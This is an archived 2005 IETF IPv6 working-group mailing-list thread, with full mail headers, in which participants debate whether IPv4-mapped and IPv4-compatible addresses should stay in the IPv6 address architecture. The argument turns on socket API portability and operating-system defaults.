(/) X-Scan-Signature: 538aad3a3c4f01d8b6a6477ca4248793 Cc: Bob Hinden , ipv6@ietf.org Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0a7aa2e6e558383d84476dc338324fab Listening for both IPv4 and IPv6 connection is very useful for servers. Examples ftp server, SNMP agent. Servers usually don't care about the source address since they are responding to source no matter if this is an IPv4 address or IPv6 address. The existing interface allows them to do it with the same loop as for IPv4. Thus porting of servers becomes much easier. Connecting clients do need to know about the destination addresses. Still keeping the current interface for servers is a must! Shuki > > From: Jeroen Massar > > > Thus that applications should be using multiple sockets, one > > for IPv4 and one for IPv6 and one for whatever follows. > > I strongly object to this. There are other socket api's which don't > have the Unix inherited drawbacks. For such, the recommendation is > exactly the opposite: the same socket works just fine for IPv4 and > IPv6, and in unifying the application code to work for both, IPv4 > mapped address format is very useful tool. Any documentation on this ? I do know RFC3493, not any others. > There is no reason for application to care at all whether actual > connection is over IPv4 or IPv6. There is, these are different protocols, how else are you going to address which host you are going to connect to? For instance www.kame.net port 80 results in different answers over IPv6 than the one on IPv4... If you are talking about wrappers, then these are most likely wrapping around the above already anyway, thus it matter than? Greets, Jeroen -----Original Message----- From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of Jeroen Massar Sent: Tuesday, February 01, 2005 9:46 AM To: Markku Savela Cc: ipv6@ietf.org; Bob Hinden Subject: Re: IPv6 Address Architecture update question -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 10:49:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18501 for ; Tue, 1 Feb 2005 10:49:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw0Ze-0005e4-Rz for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 11:08:19 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw0ET-00021B-EL; Tue, 01 Feb 2005 10:46:25 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw099-0000Q0-R3 for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 10:40:55 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17797 for ; Tue, 1 Feb 2005 10:40:54 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw0RJ-0005Oo-MY for ipv6@ietf.org; Tue, 01 Feb 2005 10:59:43 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j11FdGQ17993; Tue, 1 Feb 2005 17:39:16 +0200 Date: Tue, 1 Feb 2005 17:39:15 +0200 (EET) From: Pekka Savola To: Bob Hinden In-Reply-To: <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> Message-ID: References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Cc: IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 On Tue, 1 Feb 2005, Bob Hinden wrote: > My take of this is that they should remain in the IPv6 address architecture. > There is current usage and removing them would break other specifications. I would agree with that conclusion for mapped addresses, but I have heard NO ONE explicitly saying anything about the usefulness of compatible addresses. Thus my take is that compatibles should be removed, and some kind of warning/reference text added to the mapped addresses. draft-ietf-v6ops-application-transition-03 (soon to be RFC) discusses some of this. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 10:54:17 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18853 for ; Tue, 1 Feb 2005 10:54:17 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw0eH-0005kl-0f for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 11:13:06 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw0Ef-00025W-MQ; Tue, 01 Feb 2005 10:46:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw0Bp-0000xE-8K for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 10:43:41 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18030 for ; Tue, 1 Feb 2005 10:43:40 -0500 (EST) Received: from hermes.iu-bremen.de ([212.201.44.23]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw0Tx-0005Tk-KQ for ipv6@ietf.org; Tue, 01 Feb 2005 11:02:28 -0500 Received: from localhost (demetrius.iu-bremen.de [212.201.44.32]) by hermes.iu-bremen.de (Postfix) with ESMTP id B7656D8CC; Tue, 1 Feb 2005 16:43:06 +0100 (CET) Received: from hermes.iu-bremen.de ([212.201.44.23]) by localhost (demetrius [212.201.44.32]) (amavisd-new, port 10024) with ESMTP id 01778-06; Tue, 1 Feb 2005 16:43:05 +0100 (CET) Received: from james (unknown [10.50.242.227]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by hermes.iu-bremen.de (Postfix) with ESMTP id E3BF6D4E2; Tue, 1 Feb 2005 16:43:05 +0100 (CET) Received: from schoenw by james with local (Exim 4.34) id 1Cw0BF-0001Km-P2; Tue, 01 Feb 2005 16:43:05 +0100 Date: Tue, 1 Feb 2005 16:43:05 +0100 From: Juergen Schoenwaelder To: "sasson, shuki" Message-ID: <20050201154305.GA5113@james> Mail-Followup-To: "sasson, shuki" , Jeroen Massar , Markku Savela , Bob Hinden , ipv6@ietf.org References: <759A0BEC1CF75A43B72C9E94ACB19BEC6B9356@srgriese-bkp.lss.emc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <759A0BEC1CF75A43B72C9E94ACB19BEC6B9356@srgriese-bkp.lss.emc.com> User-Agent: Mutt/1.5.6+20040907i X-Virus-Scanned: by amavisd-new 20030616p5 at demetrius.iu-bremen.de X-Spam-Score: 0.0 (/) X-Scan-Signature: 08170828343bcf1325e4a0fb4584481c Cc: Bob Hinden , ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: j.schoenwaelder@iu-bremen.de List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 On Tue, Feb 01, 2005 at 10:13:44AM -0500, sasson, shuki wrote: > Servers usually don't care about the source address since they are > responding to source no matter if this is an IPv4 address or IPv6 address. > The existing interface allows them to do it with the same loop as for IPv4. > Thus porting of servers becomes much easier. The point is that server portability becomes much harder. That might not be an issue for you, but for many it is. /js -- Juergen Schoenwaelder International University Bremen P.O. Box 750 561, 28725 Bremen, Germany -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 12:51:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29932 for ; Tue, 1 Feb 2005 12:51:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw2TN-0000JF-OM for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 13:09:58 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw1ua-0004dq-PA; Tue, 01 Feb 2005 12:34:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw1k0-0002WG-6E for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 12:23:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26773 for ; Tue, 1 Feb 2005 12:23:02 -0500 (EST) Received: from zmamail04.zma.compaq.com ([161.114.64.104]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw22C-0007sI-1L for ipv6@ietf.org; Tue, 01 Feb 2005 12:41:52 -0500 Received: from tayexg12.americas.cpqcorp.net (tayexg12.americas.cpqcorp.net [16.103.130.127]) by zmamail04.zma.compaq.com (Postfix) with ESMTP id 907735161; Tue, 1 Feb 2005 12:22:31 -0500 (EST) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg12.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.211); Tue, 1 Feb 2005 12:22:31 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Date: Tue, 1 Feb 2005 12:22:36 -0500 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B084F9E00@tayexc13.americas.cpqcorp.net> Thread-Topic: IPv6 Address Architecture update question Thread-Index: AcUIXWYEcQZSmkPdTb+2gpmHS/zXTgAJKXpw From: "Bound, Jim" To: "Bob Hinden" , "IPv6 WG" X-OriginalArrivalTime: 01 Feb 2005 17:22:31.0501 (UTC) FILETIME=[9C8A57D0:01C50882] X-Spam-Score: 0.0 (/) X-Scan-Signature: 34d35111647d654d033d58d318c0d21a Content-Transfer-Encoding: quoted-printable Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6e922792024732fb1bb6f346e63517e4 Content-Transfer-Encoding: quoted-printable Folks, I strongly agree with Bob Hinden. We have been down this path before and discussion. IPv4-Mapped addresses are now used on every production implementation and in most IPv6 production IP dual stacks. They cannot be removed and the industry will not and does not support such a change. The APIs are in use now also by Application Providers porting to IPv6. There is absolutely no reason to deprecate Mapped-Addresses and such an idea is totally unacceptable for all the reasons below and also we should not alter our base specification. =20 Regarding compatible addresses they are harmless but not being used by most implementations or deployments, 6to4 is used. But I see not point in deprecating that either. Regards, /jim > -----Original Message----- > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On=20 > Behalf Of Bob Hinden > Sent: Tuesday, February 01, 2005 7:27 AM > To: IPv6 WG > Subject: Re: IPv6 Address Architecture update question >=20 > Hi, >=20 > In response to my question about keeping the "IPv6 Addresses=20 > with Embedded > IPv4 Addresses" (e.g., compatible and mapped) I heard the following: >=20 > "I think that at least all the BSD's and most Linuxes are using this. > They allow binding on :: (IPv6 any) and also accept IPv4=20 > connections on the same socket, which are then represented in=20 > netstat etc as ::ffff:1.2.3.4.", "IMO the section can be=20 > removed and programmers need to be learned the correct thing=20 > for which I always very inclined to point people to Eva's=20 > excellent document at=20 > http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and/or=20 > draft-ietf-v6ops-application-transition-02.txt" >=20 > "They should not be removed. Implementations already support=20 > it, removing would just create confusion. I don't see any=20 > harm in keeping it in." >=20 > "helps with porting applications" and "dropping this section=20 > will create confusion and chaos for the already ported applications" >=20 > "Among other things, this would break the just published full=20 > Standard for URIs (RFC 3986).", "I suspect some people have used the > ::10.1.2.3 format to carry IPv4 addresses in an IPv6=20 > container, simply for convenience. I think this is very=20 > convenient and should be available.", " otoh the=20 > ::FFFF:10.1.2.3 format seems useless to me." >=20 > "IPv4-mapped addresses facilitate an important=20 > interoperability mechanism in the socket API (RFC 3493,=20 > section 3.7).", "the API still needs a way to represent IPv4=20 > addresses in a way that preserves compatibility between IPv6=20 > and IPv4 hosts. Removal just makes transition all the more=20 > time-consuming and difficult for software developers. >=20 > "rather see clarification of the use of embedded addresses in=20 > the document rather than complete removal. Ie. add a=20 > statement to the effect of 'Embedded addresses are intended=20 > for internal representation only'." >=20 > "It is clear that the mapped addresses are widely used and=20 > useful, and a lot of people have raised their concerns about=20 > removing that.", "I suggest just simply removing compatibles." >=20 > "Removal and formal deprecation would simplify life for=20 > software developers.", "We might as well rid developers of=20 > the burden of having to cope with mapped-address sockets as=20 > well.", "Anyway, in summary, removal would in my opinion=20 > actually make transition much easier for software developers,=20 > not harder. Don't let the superficial ease of the=20 > mapped-address API fool you :)" >=20 > My take of this is that they should remain in the IPv6=20 > address architecture. There is current usage and removing=20 > them would break other specifications. >=20 > Thanks, > Bob >=20 >=20 >=20 >=20 > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- >=20 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 14:09:46 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07569 for ; Tue, 1 Feb 2005 14:09:46 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw3hV-0002KB-2v for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 14:28:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw3HE-0006AW-Q3; Tue, 01 Feb 2005 14:01:28 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw1Ux-0004uv-KS for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 12:07:31 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25221 for ; Tue, 1 Feb 2005 12:07:29 -0500 (EST) Received: from mail-in-04.arcor-online.net ([151.189.21.44]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw1n7-0007T9-JF for ipv6@ietf.org; Tue, 01 Feb 2005 12:26:19 -0500 Received: from kemoauc.mips.inka.de (dsl-082-082-076-078.arcor-ip.net [82.82.76.78]) by mail-in-04.arcor-online.net (Postfix) with ESMTP id 8A086FB528 for ; Tue, 1 Feb 2005 18:06:47 +0100 (CET) Received: from kemoauc.mips.inka.de (localhost [127.0.0.1]) by kemoauc.mips.inka.de (8.13.1/8.12.10) with ESMTP id j11H6kcU067433 for ; Tue, 1 Feb 2005 18:06:46 +0100 (CET) (envelope-from news@kemoauc.mips.inka.de) Received: (from news@localhost) by kemoauc.mips.inka.de (8.13.1/8.13.1/Submit) id j11H6kwk067432 for ipv6@ietf.org; Tue, 1 Feb 2005 18:06:46 +0100 (CET) (envelope-from news) To: ipv6@ietf.org Path: not-for-mail From: naddy@mips.inka.de (Christian Weisgerber) Newsgroups: list.ietf.ipv6 Date: Tue, 1 Feb 2005 17:06:46 +0000 (UTC) Lines: 11 Message-ID: References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <1107177886.27827.80.camel@firenze.zurich.ibm.com> X-Trace: kemoauc.mips.inka.de 1107277606 67403 172.16.0.3 (1 Feb 2005 17:06:46 GMT) X-Complaints-To: usenet@mips.inka.de X-Newsreader: trn 4.0-test76 (Apr 2, 2001) Originator: naddy@mips.inka.de (Christian Weisgerber) X-Spam-Score: 1.1 (+) X-Scan-Signature: d17f825e43c9aed4fd65b7edddddec89 X-Mailman-Approved-At: Tue, 01 Feb 2005 14:01:27 -0500 Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.2 (+) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Jeroen Massar wrote: > I think that at least all the BSD's and most Linuxes are using this. > They allow binding on :: (IPv6 any) and also accept IPv4 connections on > the same socket, OpenBSD doesn't allow this. FreeBSD and NetBSD don't by default, but it can be enabled there. -- Christian "naddy" Weisgerber naddy@mips.inka.de -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 15:50:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18413 for ; Tue, 1 Feb 2005 15:50:57 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5HS-0004ta-Gy for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 16:09:50 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw4xo-00046u-1H; Tue, 01 Feb 2005 15:49:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw4th-00023V-Vl for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 15:45:18 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA17584 for ; Tue, 1 Feb 2005 15:45:14 -0500 (EST) Received: from mail.aloha.net ([64.75.176.98] helo=leka02.aloha.net) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5Bu-0004lU-Rg for ipv6@ietf.org; Tue, 01 Feb 2005 16:04:08 -0500 Received: from localhost (localhost [127.0.0.1]) by localhost.aloha.net (Postfix) with ESMTP id 647645999; Tue, 1 Feb 2005 10:45:14 -1000 (HST) Received: from leka02.aloha.net ([127.0.0.1]) by localhost (leka02 [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 27909-02-4; Tue, 1 Feb 2005 10:45:13 -1000 (HST) Received: from iwi.aloha.net (iwi.aloha.net [64.75.176.242]) by leka02.aloha.net (Postfix) with QMQP id 9A61B5983; Tue, 1 Feb 2005 10:45:13 -1000 (HST) Newsgroups: list.ietf.ipv6 Date: Tue, 1 Feb 2005 10:45:07 -1000 (HST) From: Antonio Querubin To: Christian Weisgerber In-Reply-To: Message-ID: References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <1107177886.27827.80.camel@firenze.zurich.ibm.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new at aloha.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 1ac7cc0a4cd376402b85bc1961a86ac2 Cc: ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 On Tue, 1 Feb 2005, Christian Weisgerber wrote: > Jeroen Massar wrote: > > > I think that at least all the BSD's and most Linuxes are using this. > > They allow binding on :: (IPv6 any) and also accept IPv4 connections on > > the same socket, > > OpenBSD doesn't allow this. FreeBSD and NetBSD don't by default, but > it can be enabled there. It's OS version dependent. For example FreeBSD 4.x enables mapped addresses by default whereas FreeBSD 5.x turns it off by default. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 15:59:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18854 for ; Tue, 1 Feb 2005 15:59:05 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5PH-00052Q-Fq for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 16:17:56 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw4xp-00048t-Lp; Tue, 01 Feb 2005 15:49:33 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw4ua-0002NA-Ei for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 15:46:14 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA17730 for ; Tue, 1 Feb 2005 15:46:09 -0500 (EST) Received: from farside.isc.org ([204.152.187.5]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5Co-0004lr-9J for ipv6@ietf.org; Tue, 01 Feb 2005 16:05:02 -0500 Received: from drugs.dv.isc.org (localhost [IPv6:::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by farside.isc.org (Postfix) with ESMTP id C5923677EF for ; Tue, 1 Feb 2005 20:45:39 +0000 (UTC) (envelope-from marka@isc.org) Received: from drugs.dv.isc.org (localhost [127.0.0.1]) by drugs.dv.isc.org (8.13.1/8.13.1) with ESMTP id j11KjGBj067545; Wed, 2 Feb 2005 07:45:16 +1100 (EST) (envelope-from marka@drugs.dv.isc.org) Message-Id: <200502012045.j11KjGBj067545@drugs.dv.isc.org> To: "Bound, Jim" From: Mark Andrews In-reply-to: Your message of "Tue, 01 Feb 2005 12:22:36 CDT." <9C422444DE99BC46B3AD3C6EAFC9711B084F9E00@tayexc13.americas.cpqcorp.net> Date: Wed, 02 Feb 2005 07:45:16 +1100 X-Spam-Score: 0.0 (/) X-Scan-Signature: b2809b6f39decc6de467dcf252f42af1 Cc: IPv6 WG , Bob Hinden Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 68ba2b07ef271dba6ee42a93832cfa4c > Folks, > > I strongly agree with Bob Hinden. We have been down this path before > and discussion. IPv4-Mapped addresses are now used on every production > implementation and in most IPv6 production IP dual stacks. They cannot > be removed and the industry will not and does not support such a change. > The APIs are in use now also by Application Providers porting to IPv6. > There is absolutely no reason to deprecate Mapped-Addresses and such an > idea is totally unacceptable for all the reasons below and also we > should not alter our base specification. > > Regarding compatible addresses they are harmless but not being used by > most implementations or deployments, 6to4 is used. But I see not point > in deprecating that either. > > Regards, > /jim I agree w/ Jim that they should not be removed. What should be done is to identify where the different implementations behave differently and document the correct behaviour. e.g. Can in6_pktinfo be used on mapped addresses? Does :: trump a IPv4 socket bound to a interface address when the same port is used? Does :: trump a IPv4 socket bound 0.0.0.0 when the same port is used? It is inconsistancies like this make using mapped addresses hard. The choice of whether to use mapped addresses should remain w/ the appliacation developer. Mark > > -----Original Message----- > > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On > > Behalf Of Bob Hinden > > Sent: Tuesday, February 01, 2005 7:27 AM > > To: IPv6 WG > > Subject: Re: IPv6 Address Architecture update question > > > > Hi, > > > > In response to my question about keeping the "IPv6 Addresses > > with Embedded > > IPv4 Addresses" (e.g., compatible and mapped) I heard the following: > > > > "I think that at least all the BSD's and most Linuxes are using this. > > They allow binding on :: (IPv6 any) and also accept IPv4 > > connections on the same socket, which are then represented in > > netstat etc as ::ffff:1.2.3.4.", "IMO the section can be > > removed and programmers need to be learned the correct thing > > for which I always very inclined to point people to Eva's > > excellent document at > > http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and/or > > draft-ietf-v6ops-application-transition-02.txt" > > > > "They should not be removed. Implementations already support > > it, removing would just create confusion. I don't see any > > harm in keeping it in." > > > > "helps with porting applications" and "dropping this section > > will create confusion and chaos for the already ported applications" > > > > "Among other things, this would break the just published full > > Standard for URIs (RFC 3986).", "I suspect some people have used the > > ::10.1.2.3 format to carry IPv4 addresses in an IPv6 > > container, simply for convenience. I think this is very > > convenient and should be available.", " otoh the > > ::FFFF:10.1.2.3 format seems useless to me." > > > > "IPv4-mapped addresses facilitate an important > > interoperability mechanism in the socket API (RFC 3493, > > section 3.7).", "the API still needs a way to represent IPv4 > > addresses in a way that preserves compatibility between IPv6 > > and IPv4 hosts. Removal just makes transition all the more > > time-consuming and difficult for software developers. > > > > "rather see clarification of the use of embedded addresses in > > the document rather than complete removal. Ie. add a > > statement to the effect of 'Embedded addresses are intended > > for internal representation only'." > > > > "It is clear that the mapped addresses are widely used and > > useful, and a lot of people have raised their concerns about > > removing that.", "I suggest just simply removing compatibles." > > > > "Removal and formal deprecation would simplify life for > > software developers.", "We might as well rid developers of > > the burden of having to cope with mapped-address sockets as > > well.", "Anyway, in summary, removal would in my opinion > > actually make transition much easier for software developers, > > not harder. Don't let the superficial ease of the > > mapped-address API fool you :)" > > > > My take of this is that they should remain in the IPv6 > > address architecture. There is current usage and removing > > them would break other specifications. > > > > Thanks, > > Bob > > > > > > > > > > -------------------------------------------------------------------- > > IETF IPv6 working group mailing list > > ipv6@ietf.org > > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- > -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 17:06:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA05577 for ; Tue, 1 Feb 2005 17:06:25 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6ST-0001fF-Oi for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 17:25:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5mt-0004QM-JM; Tue, 01 Feb 2005 16:42:19 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5JP-0006mM-2o for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 16:11:51 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20572 for ; Tue, 1 Feb 2005 16:11:49 -0500 (EST) Received: from p130.piuha.net ([193.234.218.130]) by ietf-mx.ietf.org with esmtp (Exim 